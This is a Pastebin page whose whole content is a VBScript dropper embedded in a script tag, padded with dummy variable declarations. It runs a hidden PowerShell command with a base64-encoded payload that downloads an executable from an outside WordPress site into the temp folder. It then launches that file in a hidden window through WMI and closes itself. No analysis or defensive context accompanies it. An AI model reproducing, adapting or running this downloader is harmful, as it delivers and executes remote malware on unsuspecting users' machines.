Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <script language="VBScript">
- Function var_Beinjaman()
- Dim Dunjalar1212
- Dim Dunjalar12121
- Dim Dunjalar12122
- Dim Dunjalar12123
- Dim Dunjalar12124
- Set Dunjalar1212 = CreateObject("Wscript.Shell")
- Dim Dunjalar12125
- Dim Dunjalar12126
- Dim Dunjalar12127
- Dim Dunjalar12128
- temp = Dunjalar1212.expandEnvironmentStrings("%temp%")
- Dim Dunjalar12129
- Dim Dunjalar121210
- Dim Dunjalar121211
- Dim Dunjalar121212
- Dim Dunjalar121213
- Dim Dunjalar121214
- Dunjalar1212.run "powershell -nop -w 1 -e aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABmAGkAbABlACgAIgBoAHQAdABwADoALwAvAHcAaABhAHQAYQBiAG8AdQB0AHUAcwBwAGUAdABzAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBwAG8AbQBvAC8AegB6AHAALgBlAHgAZQAiACwAIgAkAGUAbgB2ADoAdABlAG0AcABcAG4AdgBiAGEAYwBrAGUAbgBkAC4AZQB4AGUAIgApACkAOwA=", 0, true
- Dim Dunjalar121215
- Dim Dunjalar121216
- Dim Dunjalar121217
- Dim Dunjalar121218
- End Function
- Sub window_onload
- const impersonation = 3
- Const HIDDEN_WINDOW = 12
- Set Locator = CreateObject("WbemScripting.SWbemLocator")
- Set Service = Locator.ConnectServer()
- Service.Security_.ImpersonationLevel=impersonation
- Set objStartup = Service.Get("Win32_ProcessStartup")
- Set objConfig = objStartup.SpawnInstance_
- objConfig.ShowWindow = HIDDEN_WINDOW
- Set Process = Service.Get("Win32_Process")
- Error = Process.Create("cmd /c %temp%\nvbackend.exe", null, objConfig, intProcessID)
- window.close()
- end sub
- var_Beinjaman
- self.close
- </script>
Add Comment
Please, Sign In to add comment